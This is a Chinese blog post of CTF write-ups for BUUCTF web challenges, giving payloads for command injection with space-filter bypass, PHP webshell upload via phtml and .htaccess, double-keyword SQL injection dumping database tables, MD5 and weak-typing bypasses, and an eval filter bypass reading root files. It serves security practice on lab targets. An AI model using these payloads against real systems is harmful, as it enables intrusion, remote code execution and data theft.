[BUUCTF]web 刷题记录

[GXYCTF2019]Ping Ping Ping

使用;来拼接多条命令
输入:?ip=127.0.0.1;ls发现有flag.php
在这里插入图片描述
?ip=127.0.0.1;cat index.php应该是过滤了空格,可以用$IFS$1绕过
在这里插入图片描述
读取到index.php,F12看过滤了什么,过滤的很干净
在这里插入图片描述
注意这里:preg_match("/.*f.*l.*a.*g.*/", $ip)这个的意思是匹配到按flag这个顺序的所有字符

在这里插入图片描述
在这里插入图片描述
所以我们不按顺序就好了:
payload:/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
在这里插入图片描述

[极客大挑战 2019]Upload

上传一句话木马,改包,直接两个地方一起改
在这里插入图片描述
提示不能有<?这个标签,尝试这样绕过<script language="php">
在这里插入图片描述
在这里插入图片描述
还是不行
在这里插入图片描述
把文件后缀用phtml绕过,再尝试这个GIF <script language="php">eval($_POST[1])</script>
在这里插入图片描述
蚁剑连接,在根目录发现flag

[极客大挑战 2019]BabySQL

万能密码输入,发现or不见了,尝试双写oorr,成功
在这里插入图片描述
盲猜三个字段,直接查回显,发现被过滤,继续双写

1' ununionion selselectect 1,2,3 #

果然!!!
在这里插入图片描述
接下来就是组合拳了
查库名,geek

1' ununionion selselectect 1,database(),3 #

在这里插入图片描述
查表名,发现过滤掉了where和from
在这里插入图片描述
所以再双写一波from和where,发现or过滤了导致information也出错了
在这里插入图片描述
最后获得表名b4bsql

1' ununionion selselectect 1,group_concat(table_name),3 frofromm infoorrmation_schema.tables whwhereere table_schema=database()#

在这里插入图片描述
查询字段

1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'#

在这里插入图片描述
查询记录发现居然没有flag,猜想估计不在这个库里面,查询一下所有的库名

1' ununionion selselectect 1,group_concat(table_schema),3 frofromm infoorrmation_schema.tables#

明显是这个ctf库
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后查询记录:

1' ununionion selselectect 1,group_concat(flag),3 frofromm ctf.Flag#

在这里插入图片描述

[ACTF2020 新生赛]Upload

有js阻挠,直接关闭js就行了,上传一句话木马
在这里插入图片描述
开蚁剑拿到flag

[极客大挑战 2019]BuyFlag

打开pay页面,应该是对身份信息有验证
在这里插入图片描述
F12看到了密码的判断条件
在这里插入图片描述
抓包改请求方式为post,他说数字太长了,那就用科学计数法10e10
在这里插入图片描述
拿到flag
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

一看到备份文件我就啪的一下输入了一个index.php.bak,没想到真整出来了哈哈哈,扫描都免了

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

涉及到一个函数intval(),作用是获取变量的整数值
在这里插入图片描述
考察php的弱类型
payload:

?key=123

[BJDCTF2020]Easy MD5

response里面有hint,给出了sql查询语句
在这里插入图片描述
可以发现md5函数第二个参数为true的时候是原始16字符二进制格式
在这里插入图片描述
有sql语句就肯定逃不了sql注入,就是在md5加密后构造出一个or来使判断为真
看别的wp里有现成的捡:
有这两个常见的

129581926211651571912466741651878684928

ffifdyop

在这里插入图片描述
如果要究其源头就是写脚本来跑,为了方便可以直接写php的脚本来跑,我没写,大概思路就是让MD5加密后的密文匹配or这个字符串

第一层payload:ffifdyop

第二层在这里插入图片描述
md5碰撞:?a=s878926199a&b=s155964671a

第三层:
三个等号,数组绕过

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

payload:param1[]=1&param2[]=2
flag得到

[RoarCTF 2019]Easy Calc

源码提示访问calc.php,发现正则过滤

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

不能给num传字母参数,绕过waf的方法是在参数名前面加上空格,在服务器处理url的时候就会自己删去空格
参考
在这里插入图片描述
接下来就目录查询吗,/被过滤,所以要用chr绕过
payload:calc.php? num=print_r(scandir(chr(47)));
在这里插入图片描述
读取flag
payload:? num=file_get_contents(chr(47).f1agg)

[HCTF 2018]admin

随便注册一个登陆进去,发现源代码里面说
在这里插入图片描述
所以就是要伪造admin登陆,一开始我看到可以写post,就以为是存储型xss,但是试过了没有用,继续检索,发现了github上的源码
在这里插入图片描述
不会做。。。

[MRCTF2020]你传你🐎呢

名字够祖安。。
经过burp测试,发现只有后缀为图片格式可以上传
这里学到了一个新的操作

.htaccess文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,
即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,
以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

当.htaccess文件这样写的时候
意思就是把其他类型文件当php解析

SetHandler application/x-httpd-php

也可以这样写
意思是把jpg格式当php解析

AddType application/x-httpd-php .jpg

注意,上传.htaccess的时候filename只能是.htaccess
在这里插入图片描述

在这里插入图片描述
连接蚁剑拿到flag

[GXYCTF2019]BabySQli

在这里插入图片描述

随便登陆一次,看到源代码有一段编码的字符,试了一下是先base32再base64
得到sql语句

select * from user where username = '$name'

过滤了or,但是OR没有
尝试后发现,只有判断用户名为admin的时候才有密码的判断,不然都是wrong user!

查询字段数,发现只有三个字段

admin' ORder by 4#

进行联合注入:admin' union select 1,2,3#,回显是wrong pass
看了wp后,学到一些新的操作
猜测:
猜测题目会将原密码值md5加密后插入数据库
在进行登录的时候会进行逻辑判断:当前输入的密码进行md5加密后是否与数据库里面的相等,如果相等则登陆

由于我们用联合注入的时候,是绕过了md5加密的,所以我们需要把加密后的密文当成密码进行注入

联合注入会新建一条数据,如果引号前还是admin,这存在于数据库的数据就会直接和pass匹配,由于只能有admin来登陆,所以我们可以构造一条记录,name为admin,pass为md5加密后的123,这样就可以了

0' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

密码输入123,这时候就会拿前面这个md5的密文去和123进行加密后的密文匹配,相等则通过

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值